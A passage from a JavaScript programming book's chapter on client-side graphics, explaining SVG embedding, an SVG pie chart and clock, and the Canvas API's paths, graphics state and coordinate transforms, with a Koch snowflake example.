    <svg:circle cx="5" cy="5" r="5" fill="blue"/>
</svg:svg>
</body>
</html>
```

This technique works in all current browsers except IE. Figure 21-2 shows how Firefox renders this XHTML document.

Figure 21-2. SVG graphics in an XHTML document

HTML5 minimizes the distinction between XML and HTML and allows SVG (and MathML) markup to appear directly in HTML files, without namespace declarations or tag prefixes:

```
<!DOCTYPE html>
<html>
<body>
This is a red square: <svg width="10" height="10">
  <rect x="0" y="0" width="10" height="10" fill="red"/>
</svg>
This is a blue circle: <svg width="10" height="10">
  <circle cx="5" cy="5" r="5" fill="blue"/>
</svg>
</body>
</html>
```

At the time of this writing, direct embedding of SVG into HTML works only in the very newest browsers.

Since SVG is an XML grammar, drawing SVG graphics is simply a matter of using the DOM to create appropriate XML elements. Example 21-2 is a listing of a `pieChart()` function that creates the SVG elements to produce the pie chart shown in Figure 21-3.

Figure 21-3. An SVG pie chart built with JavaScript

Example 21-2. Drawing a pie chart with JavaScript and SVG

```
/**
 * Create an <svg> element and draw a pie chart into it.
 * Arguments:
 *   data: an array of numbers to chart, one for each wedge of the pie.
 *   width,height: the size of the SVG graphic, in pixels
 *   cx, cy, r: the center and radius of the pie
 *   colors: an array of HTML color strings, one for each wedge
 *   labels: an array of labels to appear in the legend, one for each wedge
 *   lx, ly: the upper-left corner of the chart legend
 * Returns:
 *    An <svg> element that holds the pie chart.
 *    The caller must insert the returned element into the document.
 */
function pieChart(data, width, height, cx, cy, r, colors, labels, lx, ly) {
    // This is the XML namespace for svg elements
    var svgns = "http://www.w3.org/2000/svg";
```

```
// Create the <svg> element, and specify pixel size and user coordinates
var chart = document.createElementNS(svgns, "svg:svg");
chart.setAttribute("width", width);
chart.setAttribute("height", height);
chart.setAttribute("viewBox", "0 0 " + width + " " + height);

// Add up the data values so we know how big the pie is
var total = 0;
for(var i = 0; i < data.length; i++) total += data[i];

// Now figure out how big each slice of pie is. Angles in radians.
var angles = []
for(var i = 0; i < data.length; i++) angles[i] = data[i]/total*Math.PI*2;

// Loop through each slice of pie.
startangle = 0;
for(var i = 0; i < data.length; i++) {
    // This is where the wedge ends
    var endangle = startangle + angles[i];

    // Compute the two points where our wedge intersects the circle
    // These formulas are chosen so that an angle of 0 is at 12 o'clock
    // and positive angles increase clockwise.
    var x1 = cx + r * Math.sin(startangle);
    var y1 = cy - r * Math.cos(startangle);
    var x2 = cx + r * Math.sin(endangle);
    var y2 = cy - r * Math.cos(endangle);

    // This is a flag for angles larger than than a half circle
    // It is required by the SVG arc drawing component
    var big = 0;
    if (endangle - startangle > Math.PI) big = 1;

    // We describe a wedge with an <svg:path> element
    // Notice that we create this with createElementNS()
    var path = document.createElementNS(svgns, "path");

    // This string holds the path details
    var d = "M " + cx + "," + cy +  // Start at circle center
        " L " + x1 + "," + y1 +     // Draw line to (x1,y1)
        " A " + r + "," + r +       // Draw an arc of radius r
        " 0 " + big + " 1 " +       // Arc details...
        x2 + "," + y2 +             // Arc goes to to (x2,y2)
        " Z";                       // Close path back to (cx,cy)

    // Now set attributes on the <svg:path> element
    path.setAttribute("d", d);              // Set this path
    path.setAttribute("fill", colors[i]);   // Set wedge color
    path.setAttribute("stroke", "black");   // Outline wedge in black
    path.setAttribute("stroke-width", "2"); // 2 units thick
    chart.appendChild(path);                // Add wedge to chart

    // The next wedge begins where this one ends
    startangle = endangle;

    // Now draw a little matching square for the key
```

```
        var icon = document.createElementNS(svgns, "rect");
        icon.setAttribute("x", lx);             // Position the square
        icon.setAttribute("y", ly + 30*i);
        icon.setAttribute("width", 20);         // Size the square
        icon.setAttribute("height", 20);
        icon.setAttribute("fill", colors[i]);   // Same fill color as wedge
        icon.setAttribute("stroke", "black");   // Same outline, too.
        icon.setAttribute("stroke-width", "2");
        chart.appendChild(icon);                // Add to the chart

        // And add a label to the right of the rectangle
        var label = document.createElementNS(svgns, "text");
        label.setAttribute("x", lx + 30);       // Position the text
        label.setAttribute("y", ly + 30*i + 18);
        // Text style attributes could also be set via CSS
        label.setAttribute("font-family", "sans-serif");
        label.setAttribute("font-size", "16");
        // Add a DOM text node to the <svg:text> element
        label.appendChild(document.createTextNode(labels[i]));
        chart.appendChild(label);               // Add text to the chart
    }

    return chart;
}
```

The code in Example 21-2 is relatively straightforward. There is a little math to convert the data being charted into pie-wedge angles. The bulk of the example, however, is DOM code that creates SVG elements and sets attributes on those elements. In order to work with browsers that do not fully support HTML5, this example treats SVG as an XML grammar and uses the SVG namespace and the DOM method `createElementNS()` instead of `createElement()`.

The most opaque part of this example is the code that draws the actual pie wedges. The element used to display each wedge is `<svg:path>`. This SVG element describes arbitrary shapes comprised of lines and curves. The shape description is specified by the `d` attribute of the `<svg:path>` element. The value of this attribute uses a compact grammar of letter codes and numbers that specify coordinates, angles, and other values. The letter M, for example, means "move to" and is followed by X and Y coordinates. The letter L means "line to" and draws a line from the current point to the coordinates that follow it. This example also uses the letter A to draw an arc. This letter is followed by seven numbers describing the arc. The precise details are not important here, but you can look them up in the specification at *http://www.w3.org/TR/SVG/*.

Note that the `pieChart()` function returns an `<svg>` element that contains a description of the pie chart, but it does not insert that element into the document. The caller is expected to do that. The pie chart in Figure 21-3 was created using a file like this:

```
<html>
<head>
<script src="PieChart.js"></script>
</head>
<body onload="document.body.appendChild(
```

```
                    pieChart([12, 23, 34, 45], 640, 400, 200, 200, 150,
                             ['red','blue','yellow','green'],
                             ['North','South', 'East', 'West'], 400, 100));
                ">
    </body>
    </html>
```

Example 21-3 is another scripted SVG example: it uses SVG to display an analog clock. (See Figure 21-4.) Rather than dynamically building the tree of SVG elements from scratch, however, it starts with a static SVG image of a clock embedded in the HTML page. This static graphic includes two SVG `<line>` elements that represent the hour hand and the minute hand. Both lines point straight up, and the static image displays the time 12:00. To turn this image into a functioning clock, we use JavaScript to set a `transform` attribute on each of `<line>` elements, rotating them by the appropriate angles so that the clock displays the current time.

Figure 21-4. An SVG clock

Note that Example 21-3 embeds SVG markup directly into an HTML5 file and does not use XML namespaces within an XHTML file. This means that as shown here it will work only with browsers that support direct embedding of SVG. By converting the HTML file to XHTML, however, this same technique works in older SVG-capable browsers.

Example 21-3. Displaying the time by manipulating an SVG image

```
<!DOCTYPE HTML>
<html>
<head>
<title>Analog Clock</title>
<script>
function updateTime() { // Update the SVG clock graphic to show current time
    var now = new Date();                       // Current time
    var min = now.getMinutes();                 // Minutes
    var hour = (now.getHours() % 12) + min/60;  // Fractional hours
    var minangle = min*6;                       // 6 degrees per minute
    var hourangle = hour*30;                    // 30 degrees per hour
```

```
    // Get SVG elements for the hands of the clock
    var minhand = document.getElementById("minutehand");
    var hourhand = document.getElementById("hourhand");

    // Set an SVG attribute on them to move them around the clock face
    minhand.setAttribute("transform", "rotate(" + minangle + ",50,50)");
    hourhand.setAttribute("transform", "rotate(" + hourangle + ",50,50)");

    // Update the clock again in 1 minute
    setTimeout(updateTime, 60000);
}
</script>
<style>
/* These CSS styles all apply to the SVG elements defined below */
#clock {                          /* styles for everything in the clock */
   stroke: black;                 /* black lines */
   stroke-linecap: round;         /* with rounded ends */
   fill: #eef;                    /* on a light blue gray background */
}
#face { stroke-width: 3px;}       /* clock face outline */
#ticks { stroke-width: 2; }       /* lines that mark each hour */
#hourhand {stroke-width: 5px;}    /* wide hour hand */
#minutehand {stroke-width: 3px;}  /* narrow minute hand */
#numbers {                        /* how to draw the numbers */
    font-family: sans-serif; font-size: 7pt; font-weight: bold;
    text-anchor: middle; stroke: none; fill: black;
}
</style>
</head>
<body onload="updateTime()">
  <!-- viewBox is coordinate system, width and height are on-screen size -->
  <svg id="clock" viewBox="0 0 100 100" width="500" height="500">
    <defs>   <!-- Define a filter for drop-shadows -->
     <filter id="shadow" x="-50%" y="-50%" width="200%" height="200%">
        <feGaussianBlur in="SourceAlpha" stdDeviation="1" result="blur" />
        <feOffset in="blur" dx="1" dy="1" result="shadow" />
        <feMerge>
          <feMergeNode in="SourceGraphic"/><feMergeNode in="shadow"/>
        </feMerge>
      </filter>
    </defs>
    <circle id="face" cx="50" cy="50" r="45"/>  <!-- the clock face -->
    <g id="ticks">                              <!-- 12 hour tick marks -->
      <line x1='50' y1='5.000' x2='50.00' y2='10.00'/>
      <line x1='72.50' y1='11.03' x2='70.00' y2='15.36'/>
      <line x1='88.97' y1='27.50' x2='84.64' y2='30.00'/>
      <line x1='95.00' y1='50.00' x2='90.00' y2='50.00'/>
      <line x1='88.97' y1='72.50' x2='84.64' y2='70.00'/>
      <line x1='72.50' y1='88.97' x2='70.00' y2='84.64'/>
      <line x1='50.00' y1='95.00' x2='50.00' y2='90.00'/>
      <line x1='27.50' y1='88.97' x2='30.00' y2='84.64'/>
      <line x1='11.03' y1='72.50' x2='15.36' y2='70.00'/>
      <line x1='5.000' y1='50.00' x2='10.00' y2='50.00'/>
      <line x1='11.03' y1='27.50' x2='15.36' y2='30.00'/>
      <line x1='27.50' y1='11.03' x2='30.00' y2='15.36'/>
    </g>
```

```
    <g id="numbers">                      <!-- Number the cardinal directions-->
      <text x="50" y="18">12</text><text x="85" y="53">3</text>
      <text x="50" y="88">6</text><text x="15" y="53">9</text>
    </g>
    <!-- Draw hands pointing straight up. We rotate them in the code. -->
    <g id="hands" filter="url(#shadow)"> <!-- Add shadows to the hands -->
      <line id="hourhand" x1="50" y1="50" x2="50" y2="24"/>
      <line id="minutehand" x1="50" y1="50" x2="50" y2="20"/>
    </g>
  </svg>
</body>
</html>
```

21.4 Graphics in a <canvas>

The `<canvas>` element has no appearance of its own but creates a drawing surface within the document and exposes a powerful drawing API to client-side JavaScript. The canvas element is standardized by HTML5 but has been around for longer than that. It was introduced by Apple in Safari 1.3, and it has been supported by Firefox since version 1.5 and Opera since version 9. It is also supported in all versions of Chrome. The `<canvas>` element is not supported by IE before IE9, but it can be reasonably well emulated in IE6, 7, and 8 using the open source ExplorerCanvas project at *http://code.google.com/p/explorercanvas/*.

An important difference between the `<canvas>` element and SVG is that with the canvas you create drawings by calling methods and with SVG you create drawings by building a tree of XML elements. These two approaches are equivalently powerful: either one can be simulated with the other. On the surface, they are quite different, however, and each has its strengths and weaknesses. An SVG drawing, for example, is easily edited by removing elements from its description. To remove an element from the same graphic in a `<canvas>`, it is often necessary to erase the drawing and redraw it from scratch. Since the Canvas drawing API is JavaScript-based and relatively compact (unlike the SVG grammar), it is documented completely in this book. See `Canvas`, `CanvasRenderingContext2D`, and related entries in the client-side reference section.

Most of the Canvas drawing API is defined not on the `<canvas>` element itself, but instead on a "drawing context" object obtained with the `getContext()` method of the canvas. Call `getContext()` with the argument "2d" to obtain a CanvasRenderingContext2D object that you can use to draw two-dimensional graphics into the canvas. It is important to understand that the canvas element and its context object are two very different objects. Because it has such a long class name, I do not often refer to the CanvasRenderingContext2D object by name, instead simply calling it the "context object". Similarly, when I write about the "Canvas API," I usually mean "the methods of the CanvasRenderingContext2D object."

3D Graphics in a Canvas

At the time of this writing, browser vendors are starting to implement a 3D graphics API for the `<canvas>` element. The API is known as WebGL, and it is a JavaScript binding to the OpenGL standard API. To obtain a context object for 3D graphics, pass the string "webgl" to the `getContext()` method of the canvas. WebGL is a large, complicated, and low-level API that is not documented in this book: web developers are more likely to use utility libraries built on top of WebGL than to use the WebGL API directly.

As a simple example of the Canvas API, the following code draws a red square and blue circle into `<canvas>` elements to produce output like the SVG graphics shown in Figure 21-2:

```
<body>
This is a red square: <canvas id="square" width=10 height=10></canvas>.
This is a blue circle: <canvas id="circle" width=10 height=10></canvas>.
<script>
var canvas = document.getElementById("square");  // Get first canvas element
var context = canvas.getContext("2d");           // Get 2D drawing context
context.fillStyle = "#f00";                      // Set fill color to red
context.fillRect(0,0,10,10);                     // Fill a square

canvas = document.getElementById("circle");      // Second canvas element
context = canvas.getContext("2d");               // Get its context
context.beginPath();                             // Begin a new "path"
context.arc(5, 5, 5, 0, 2*Math.PI, true);        // Add a circle to the path
context.fillStyle = "#00f";                      // Set blue fill color
context.fill();                                  // Fill the path
</script>
</body>
```

We've seen that SVG describes complex shapes as a "path" of lines and curves that can be drawn or filled. The Canvas API also uses the notion of a path. Instead of describing a path as a string of letters and numbers, a path is defined by a series of method calls, such as the `beginPath()` and `arc()` invocations in the code above. Once a path is defined, other methods, such as `fill()`, operate on that path. Various properties of the context object, such as `fillStyle`, specify how these operations are performed. The subsections that follow explain:

- How to define paths, how to draw or "stroke" the outline of a path, and how to fill the interior of a path.
- How to set and query the graphics attributes of the canvas context object, and how to save and restore the current state of those attributes.
- Canvas dimensions, the default canvas coordinate system, and how to transform that coordinate system.
- The various curve-drawing methods defined by the Canvas API.
- Some special-purpose utility methods for drawing rectangles.

- How to specify colors, work with transparency, and draw with color gradients and repeating image patterns.
- The attributes that control line width and the appearance of line endpoints and vertexes.
- How to draw text in a `<canvas>`.
- How to "clip" graphics so that no drawing is done outside of a region you specify.
- How to add drop shadows to your graphics.
- How to draw (and optionally scale) images into a canvas, and how to extract the contents of a canvas as an image.
- How to control the compositing process by which newly drawn (translucent) pixels are combined with the existing pixels in the canvas.
- How to query and set the raw red, green, blue, and alpha (transparency) values of the pixels in the canvas.
- How to determine whether a mouse event occurred above something you've drawn in a canvas.

The section ends with a practical example that uses `<canvas>` elements to render small inline charts known as *sparklines*.

Much of the `<canvas>` example code that follows operates on a variable `c`. This variable holds the CanvasRenderingContext2D object of the canvas, but the code to initialize that variable is not typically shown. In order to make these examples run, you would need to add HTML markup to define a canvas with appropriate `width` and `height` attributes, and then add code like this to initialize the variable `c`:

```
var canvas = document.getElementById("my_canvas_id");
var c = canvas.getContext('2d');
```

The figures that follow were all generated by JavaScript code drawing into a `<canvas>` element—typically into a large offscreen canvas to produce high-resolution print-quality graphics.

21.4.1 Drawing Lines and Filling Polygons

To draw lines on a canvas and to fill the areas enclosed by those lines, you begin by defining a *path*. A path is a sequence of one or more subpaths. A subpath is a sequence of two or more points connected by line segments (or, as we'll see later, by curve segments). Begin a new path with the `beginPath()` method. Begin a new subpath with the `moveTo()` method. Once you have established the starting point of a subpath with `moveTo()`, you can connect that point to a new point with a straight line by calling `lineTo()`. The following code defines a path that includes two line segments:

```
c.beginPath();        // Start a new path
c.moveTo(100, 100);   // Begin a subpath at (100,100)
c.lineTo(200, 200);   // Add a line from (100,100) to (200,200)
c.lineTo(100, 200);   // Add a line from (200,200) to (100,200)
```

The code above simply defines a path; it does not draw anything on the canvas. To draw (or "stroke") the two line segments in the path, call the `stroke()` method, and to fill the area defined by those line segments, call `fill()`:

```
c.fill();            // Fill a triangular area
c.stroke();          // Stroke two sides of the triangle
```

The code above (along with some additional code to set line widths and fill colors) produced the drawing shown in Figure 21-5.

Figure 21-5. A simple path, filled and stroked

Notice that the subpath defined above is "open". It consists of just two line segments and the end point is not connected back to the starting point. This means that it does not enclose a region. The `fill()` method fills open subpaths by acting as if a straight line connected the last point in the subpath to the first point in the subpath. That is why the code above fills a triangle, but strokes only two sides of the triangle.

If you wanted to stroke all three sides of the triangle above, you would call the `closePath()` method to connect the end point of the subpath to the start point. (You could also call `lineTo(100,100)`, but then you end up with three line segments that share a start and end point but are not truly closed. When drawing with wide lines, the visual results are better if you use `closePath()`.)

There are two other important points to notice about `stroke()` and `fill()`. First, both methods operate on all subpaths in the current path. Suppose we had added another subpath in the code above:

```
c.moveTo(300,100);    // Begin a new subpath at (300,100);
c.lineTo(300,200);    // Draw a vertical line down to (300,200);
```

If we then called `stroke()`, we would draw two connected edges of a triangle and a disconnected vertical line.

The second point to note about `stroke()` and `fill()` is that neither one alters the current path: you can call `fill()` and the path will still be there when you call `stroke()`. When you are done with a path and want to begin another, you must remember to call `beginPath()`. If you don't, you'll end up adding new subpaths to the existing path and you may end up drawing those old subpaths over and over again.

Example 21-4 defines a function for drawing regular polygons and demonstrates the use of `moveTo()`, `lineTo()`, and `closePath()` for defining subpaths and of `fill()` and `stroke()` for drawing those paths. It produces the drawing shown in Figure 21-6.

Figure 21-6. Regular polygons

Example 21-4. Regular polygons with moveTo(), lineTo() and closePath()

```
// Define a regular polygon with n sides, centered at (x,y) with radius r.
// The vertices are equally spaced along the circumference of a circle.
// Put the first vertex straight up or at the specified angle.
// Rotate clockwise, unless the last argument is true.
function polygon(c,n,x,y,r,angle,counterclockwise) {
    angle = angle || 0;
    counterclockwise = counterclockwise || false;
    c.moveTo(x + r*Math.sin(angle),  // Begin a new subpath at the first vertex
             y - r*Math.cos(angle)); // Use trigonometry to compute position
    var delta = 2*Math.PI/n;         // Angular distance between vertices
    for(var i = 1; i < n; i++) {     // For each of the remaining vertices
        angle += counterclockwise?-delta:delta; // Adjust angle
        c.lineTo(x + r*Math.sin(angle),         // Add line to next vertex
                 y - r*Math.cos(angle));
    }
    c.closePath();                   // Connect last vertex back to the first
}

// Start a new path and add polygon subpaths
c.beginPath();
polygon(c, 3, 50, 70, 50);                   // Triangle
polygon(c, 4, 150, 60, 50, Math.PI/4);       // Square
polygon(c, 5, 255, 55, 50);                  // Pentagon
polygon(c, 6, 365, 53, 50, Math.PI/6);       // Hexagon
polygon(c, 4, 365, 53, 20, Math.PI/4, true); // Small square inside the hexagon

// Set some properties that control how the graphics will look
c.fillStyle = "#ccc";    // Light gray interiors
c.strokeStyle = "#008";  // outlined with dark blue lines
c.lineWidth = 5;         // five pixels wide.

// Now draw all the polygons (each in its own subpath) with these calls
c.fill();                // Fill the shapes
c.stroke();              // And stroke their outlines
```

Notice that this example draws a hexagon with a square inside it. The square and the hexagon are separate subpaths, but they overlap. When this happens (or when a single subpath intersects itself), the canvas needs to be able to determine which regions are inside the path and which are outside. The canvas uses a test known as the "nonzero winding rule" to achieve this. In this case, the interior of the square is not filled because the square and the hexagon were drawn in the opposite directions: the vertexes of the hexagon were connected with line segments moving clockwise around the circle. The vertexes of the square were connected counterclockwise. Had the square been drawn clockwise as well, the call to `fill()` would have filled the interior of the square as well.

The Nonzero Winding Rule

To test whether a point P is inside a path, using the nonzero winding rule, imagine a ray drawn from P, in any direction, off to infinity (or, more practically, to some point outside of the path's bounding box). Now initialize a counter to zero and enumerate all places where the path crosses the ray. Each time the path crosses the ray in a clockwise direction, add one to the count. Each time the path crosses the ray counterclockwise, subtract one from the count. If, after all crossings have been enumerated, the count is nonzero, the point P is inside the path. If, on the other hand, the count is zero, P is outside the path.

21.4.2 Graphics Attributes

Example 21-4 set the properties `fillStyle`, `strokeStyle`, and `lineWidth` on the context object of the canvas. These properties are graphics attributes that specify the color to be used by `fill()`, the color to be used by `stroke()`, and the width of the lines to be drawn by `stroke()`. Notice that these parameters are not passed to the `fill()` and `stroke()` methods, but are instead part of the general *graphics state* of the canvas. If you define a method that draws a shape and do not set these properties yourself, the caller of your method can define the color of the shape by setting the `strokeStyle` and `fillStyle` properties before calling your method. This separation of graphics state from drawing commands is fundamental to the Canvas API and is akin to the separation of presentation from content achieved by applying CSS stylesheets to HTML documents.

The Canvas API defines 15 graphics attribute properties on the CanvasRenderingContext2D object. These properties are listed in Table 21-1 and explained in detail in the relevant sections below.

Table 21-1. Graphics attributes of the Canvas API

Property	Meaning
`fillStyle`	the color, gradient, or pattern for fills
`font`	the CSS font for text-drawing commands
`globalAlpha`	transparency to be added to all pixels drawn
`globalCompositeOperation`	how to combine new pixels with the ones underneath
`lineCap`	how the ends of lines are rendered
`lineJoin`	how vertexes are rendered
`lineWidth`	the width of stroked lines
`miterLimit`	maximum length of acute mitered vertexes
`textAlign`	horizontal alignment of text
`textBaseline`	vertical alignment of text
`shadowBlur`	how crisp or fuzzy shadows are
`shadowColor`	the color of drop shadows
`shadowOffsetX`	the horizontal offset of shadows
`shadowOffsetY`	the vertical offset of shadows
`strokeStyle`	the color, gradient, or pattern for lines

Since the Canvas API defines graphics attributes on the context object, you might be tempted to call `getContext()` multiple times to obtain multiple context objects. If you could do this, you could define different attributes on each context: each context would then be like a different brush and would paint with a different color or draw lines of different widths. Unfortunately, you cannot use the canvas in this way. Each `<canvas>` element has only a single context object, and every call to `getContext()` returns the same CanvasRenderingContext2D object.

Although the Canvas API only allows you to define a single set of graphics attributes at a time, it does allow you to save the current graphics state so that you can alter it and then easily restore it later. The `save()` method pushes the current graphics state onto a stack of saved states. The `restore()` method pops the stack and restores the most recently saved state. All of the properties listed in Table 21-1 are part of the saved state, as are the current transformation and clipping region (both are explained below). Importantly, the currently defined path and the current point are not part of the graphics state and cannot be saved and restored.

If you need more flexibility than a simple stack of graphics states allows, you may find it helpful to define utility methods like the ones shown in Example 21-5.

Example 21-5. Graphics state management utilities

```
// Revert to the last saved graphics state, but don't pop the stack.
CanvasRenderingContext2D.prototype.revert = function() {
    this.restore();  // Restore the old graphics state.
    this.save();     // Save it again so we can go back to it.
    return this;     // Allow method chaining.
};

// Set the graphics attributes specified by the properties of the object o.
// Or, if no argument is passed, return the current attributes as an object.
// Note that this does not handle the transformation or clipping region.
CanvasRenderingContext2D.prototype.attrs = function(o) {
    if (o) {
        for(var a in o)       // For each property in o
            this[a] = o[a];   // Set it as a graphics attribute
        return this;          // Enable method chaining
    }
    else return {
        fillStyle: this.fillStyle, font: this.font,
        globalAlpha: this.globalAlpha,
        globalCompositeOperation: this.globalCompositeOperation,
        lineCap: this.lineCap, lineJoin: this.lineJoin,
        lineWidth: this.lineWidth, miterLimit: this.miterLimit,
        textAlign: this.textAlign, textBaseline: this.textBaseline,
        shadowBlur: this.shadowBlur, shadowColor: this.shadowColor,
        shadowOffsetX: this.shadowOffsetX, shadowOffsetY: this.shadowOffsetY,
        strokeStyle: this.strokeStyle
    };
};
```

21.4.3 Canvas Dimensions and Coordinates

The `width` and `height` attributes of the `<canvas>` element and the corresponding `width` and `height` properties of the Canvas object specify the dimensions of the canvas. The default canvas coordinate system places the origin (0,0) at the upper left corner of the canvas. X coordinates increase to the right and Y coordinates increase as you go down the screen. Points on the canvas can be specified using floating-point values, and these are not automatically rounded to integers—the Canvas uses anti-aliasing techniques to simulate partially filled pixels.

The dimensions of a canvas are so fundamental that they cannot be altered without completely resetting the canvas. Setting either the `width` or `height` properties of a Canvas (even setting them to their current value) clears the canvas, erases the current path, and resets all graphics attributes (including current transformation and clipping region) to their original state.

Despite this fundamental importance of canvas dimensions, they do not necessarily match either the on-screen size of the canvas or the number of pixels that make up the canvas drawing surface. Canvas dimensions (and also the default coordinate system) are measured in CSS pixels. CSS pixels are usually the same thing as regular pixels. On high-resolution displays, however, implementations are allowed to map multiple

device pixels to single CSS pixels. This means that the rectangle of pixels that the canvas draws into may be larger than the canvas's nominal dimensions. You need to be aware of this when working with the pixel-manipulation features (see §21.4.14) of the canvas, but the distinction between virtual CSS pixels and actual hardware pixels does not otherwise have any effect on the canvas code you write.

By default, a `<canvas>` is displayed on-screen at the size (in CSS pixels) specified by its HTML `width` and `height` attributes. Like any HTML element, however, a `<canvas>` element can have its on-screen size specified by CSS `width` and `height` style attributes. If you specify an on-screen size that is different than the actual dimensions of the canvas, the pixels of the canvas are automatically scaled as needed to fit the screen dimensions specified by the CSS attributes. The on-screen size of the canvas does not affect the number of CSS or hardware pixels reserved in the canvas bitmap and the scaling that is done is an image scaling operation. If the on-screen dimensions are substantially larger than the actual dimensions of the canvas, this results in pixelated graphics. This is an issue for graphic designers and does not affect canvas programming.

21.4.4 Coordinate System Transforms

As noted above, the default coordinate system of a canvas places the origin in the upper left corner, has X coordinates increasing to the right, and has Y coordinates increasing downward. In this default system, the coordinates of a point map directly to a CSS pixel (which then maps directly to one or more device pixels). Certain canvas operations and attributes (such as extracting raw pixel values and setting shadow offsets) always use this default coordinate system. In addition to the default coordinate system, however, every canvas has a "current transformation matrix" as part of its graphics state. This matrix defines the current coordinate system of the canvas. In most canvas operations, when you specify the coordinates of a point, it is taken to be a point in the current coordinate system, not in the default coordinate system. The current transformation matrix is used to convert the coordinates you specified to the equivalent coordinates in the default coordinate system.

The `setTransform()` method allows you to set a canvas's transformation matrix directly, but coordinate system transformations are usually easier to specify as a sequence of translations, rotations, and scaling operations. Figure 21-7 illustrates these operations and their effect on the canvas coordinate system. The program that produced the figure drew the same set of axes seven times in a row. The only thing that changed each time was the current transform. Notice that the transforms affect the text as well as the lines that are drawn.

The `translate()` method simply moves the origin of the coordinate system left, right, up, or down. The `rotate()` method rotates the axes clockwise by the specified angle. (The Canvas API always specifies angles in radians. To convert degrees to radians, divide by 180 and multiply by `Math.PI`.) The `scale()` method stretches or contracts distances along the X or Y axes.

Figure 21-7. Coordinate system transformations

Passing a negative scale factor to the `scale()` method flips that axis across the origin, as if it were reflected in a mirror. This is what was done in the lower left of Figure 21-7: `translate()` was used to move the origin to the bottom left corner of the canvas, and then `scale()` was used to flip the Y axis around so that Y coordinates increase as we go up the page. A flipped coordinate system like this is familiar from algebra class and may be useful for plotting data points on charts. Note, however, that it makes text difficult to read!

21.4.4.1 Understanding transformations mathematically

I find it easiest to understand transforms geometrically, thinking about `translate()`, `rotate()`, and `scale()` as transforming the axes of the coordinate system as illustrated in Figure 21-7. It is also possible to understand transforms algebraically, as equations

that map the coordinates of a point `(x,y)` in the transformed coordinate system back to the coordinates of the same point `(x',y')` in the previous coordinate system.

The method call `c.translate(dx,dy)` can be described with these equations:

```
x' = x + dx;  // An X coordinate of 0 in the new system is dx in the old
y' = y + dy;
```

Scaling operations have similarly simple equations. A call `c.scale(sx,sy)` can be described like this:

```
x' = sx * x;
y' = sy * y;
```

Rotations are more complicated. The call `c.rotate(a)` is described by these trigonometric equations:

```
x' = x * cos(a) - y * sin(a);
y' = y * cos(a) + x * sin(a);
```

Notice that the order of transformations matters. Suppose we start with the default coordinate system of a canvas, and then translate it, and then scale it. In order to map the point `(x,y)` in the current coordinate system back to the point `(x'',y'')` in the default coordinate system, we must first apply the scaling equations to map the point to an intermediate point `(x', y')` in the translated but unscaled coordinate system, and then use the translation equations to map from this intermediate point to `(x'',y'')`. The result is this:

```
x'' = sx*x + dx;
y'' = sy*y + dy;
```

If, on the other hand, we'd called `scale()` before calling `translate()`, the resulting equations would be different:

```
x'' = sx*(x + dx);
y'' = sy*(y + dy);
```

The key thing to remember when thinking algebraically about sequences of transformations is that you must work backward from the last (most recent) transformation to the first. When thinking geometrically about transformed axes, however, you work forward from first transformation to last.

The transformations supported by the canvas are known as *affine transforms*. Affine transforms may modify the distances between points and the angles between lines, but parallel lines always remain parallel after an affine transformation—it is not possible, for example, to specify a fish-eye lens distortion with an affine transform. An arbitrary affine transform can be described by the six parameters `a` through `f` in these equations:

```
x' = ax + cy + e
y' = bx + dy + f
```

You can apply an arbitrary transformation to the current coordinate system by passing those six parameters to the `transform()` method. Figure 21-7 illustrates two types of

transformations—shears and rotations about a specified point—that you can implement with the `transform()` method like this:

```
// Shear transform:
//   x' = x + kx*y;
//   y' = y + ky*x;
function shear(c,kx,ky) { c.transform(1, ky, kx, 1, 0, 0); }

// Rotate theta radians clockwise around the point (x,y)
// This can also be accomplished with a translate,rotate,translate sequence
function rotateAbout(c,theta,x,y) {
    var ct = Math.cos(theta), st = Math.sin(theta);
    c.transform(ct, -st, st, ct, -x*ct-y*st+x, x*st-y*ct+y);
}
```

The `setTransform()` method takes the same arguments as `transform()`, but instead of transforming the current coordinate system, it ignores the current system, transforms the default coordinate system, and makes the result the new current coordinate system. `setTransform()` is useful to temporarily reset the canvas to its default coordinate system:

```
c.save();                      // Save current coordinate system
c.setTransform(1,0,0,1,0,0);   // Revert to the default coordinate system
// Perform operations using default CSS pixel coordinates
c.restore();                   // Restore the saved coordinate system
```

21.4.4.2 Transformation example

Example 21-6 demonstrates the power of coordinate system transformations by using the `translate()`, `rotate()`, and `scale()` methods recursively to draw a Koch snowflake fractal. The output of this example appears in Figure 21-8, which shows Koch snowflakes with 0, 1, 2, 3, and 4 levels of recursion.

Figure 21-8. Koch snowflakes

The code that produces these figures is elegant, but its use of recursive coordinate system transformations makes it somewhat difficult to understand. Even if you don't follow all the nuances, note that the code includes only a single invocation of the `lineTo()` method. Every single line segment in Figure 21-8 is drawn like this:

```
c.lineTo(len, 0);
```

The value of the variable `len` does not change during the execution of the program, so the position, orientation, and length of each of the line segments is determined by translations, rotations, and scaling operations.

Example 21-6. A Koch snowflake with transformations

```
var deg = Math.PI/180;  // For converting degrees to radians

// Draw a level-n Koch Snowflake fractal on the canvas context c,
// with lower-left corner at (x,y) and side length len.
function snowflake(c, n, x, y, len) {
    c.save();           // Save current transformation
    c.translate(x,y);   // Translate origin to starting point
    c.moveTo(0,0);      // Begin a new subpath at the new origin
    leg(n);             // Draw the first leg of the snowflake
    c.rotate(-120*deg); // Now rotate 120 degrees counterclockwise
    leg(n);             // Draw the second leg
    c.rotate(-120*deg); // Rotate again
    leg(n);             // Draw the final leg
    c.closePath();      // Close the subpath
    c.restore();        // And restore original transformation

    // Draw a single leg of a level-n Koch snowflake.
    // This function leaves the current point at the end of the leg it has
    // drawn and translates the coordinate system so the current point is (0,0).
    // This means you can easily call rotate() after drawing a leg.
    function leg(n) {
        c.save();               // Save the current transformation
        if (n == 0) {           // Nonrecursive case:
            c.lineTo(len, 0);   //   Just draw a horizontal line
        }                       //
        else {                  // Recursive case: draw 4 sub-legs like: _\/_
            c.scale(1/3,1/3);   // Sub-legs are 1/3rd the size of this leg
            leg(n-1);           // Recurse for the first sub-leg
            c.rotate(60*deg);   // Turn 60 degrees clockwise
            leg(n-1);           // Second sub-leg
            c.rotate(-120*deg); // Rotate 120 degrees back
            leg(n-1);           // Third sub-leg
            c.rotate(60*deg);   // Rotate back to our original heading
            leg(n-1);           // Final sub-leg
        }
        c.restore();            // Restore the transformation
        c.translate(len, 0);    // But translate to make end of leg (0,0)
    }
}

snowflake(c,0,5,115,125);    // A level-0 snowflake is an equilateral triangle
snowflake(c,1,145,115,125);  // A level-1 snowflake is a 6-sided star
snowflake(c,2,285,115,125);  // etc.
snowflake(c,3,425,115,125);
